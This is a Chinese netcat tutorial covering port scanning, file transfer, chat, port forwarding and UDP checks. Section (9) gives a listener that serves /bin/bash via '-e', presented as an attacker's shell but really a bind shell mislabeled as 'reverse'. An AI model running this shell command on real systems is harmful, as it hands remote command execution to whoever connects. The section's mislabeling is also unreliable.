nc 工具
一.nc简介
nc(netcat)是一个功能强大的网络工具,被誉为"TCP/IP瑞士军刀"。它可以用于端口扫描、传输文件、建立连接、端口转发等多种网络操作。nc 是网络管理员和系统管理员必备的工具之一。
二.nc工具安装
bash
sudo apt-get install netcat-openbsd三.nc使用
1.nc命令的参数
| 参数 | 说明 | 示例 |
|---|---|---|
-n | 不解析域名,直接显示 IP 地址 | -n |
-v / -vv | 显示详细输出 | -v、-vv |
-z | 零 I/O 模式,仅扫描端口不传输数据 | -z |
-w <seconds> | 设置连接超时时间 | -w 3 |
-l | 监听模式 | -l |
-p <port> | 指定本地端口 | -p 8080 |
-e <command> | 连接成功后执行命令 | -e /bin/bash |
-u | 使用 UDP 协议 | -u |
-k | 持续监听(需配合 -l) | -k |
2.nc命令的用法
(1).扫描端口
bash
nc -zv 192.168.1.1 80bash
nc -zv 192.168.1.1 20-100bash
nc -zv -w 3 192.168.1.1 22(2).建立 TCP 连接
bash
nc 192.168.1.1 80连接后可发送 HTTP 请求:
bash
GET / HTTP/1.1
Host: example.com(3).监听端口
bash
nc -l -p 8080bash
nc -l -p 8080 -v(4).传输文件
发送端:
bash
nc -l -p 8080 < file.txt接收端:
bash
nc 192.168.1.1 8080 > received.txt(5).传输目录
发送端:
bash
tar -cvf - /path/to/dir | nc -l -p 8080接收端:
bash
nc 192.168.1.1 8080 | tar -xvf -(6).聊天功能
用户 A(监听):
bash
nc -l -p 8080用户 B(连接):
bash
nc 192.168.1.1 8080(7).端口转发
bash
nc -l -p 8080 -c "nc target_server 80"(8).测试 UDP 端口
bash
nc -zv -u 192.168.1.1 53(9).反向 shell
目标机(监听):
bash
nc -l -p 8080 -e /bin/bash攻击机(连接):
bash
nc 192.168.1.1 8080(10).保持连接活跃
bash
nc -w 0 192.168.1.1 80四.实用建议
- 端口扫描:使用
-z和-w参数快速扫描端口 - 文件传输:nc 传输文件简单高效,适合小文件快速传输
- 安全注意:避免在生产环境使用
-e参数,防止安全风险 - 调试网络:nc 是调试网络连接的优秀工具,可以模拟各种 TCP/UDP 服务
- 防火墙测试:可用于测试防火墙规则是否生效
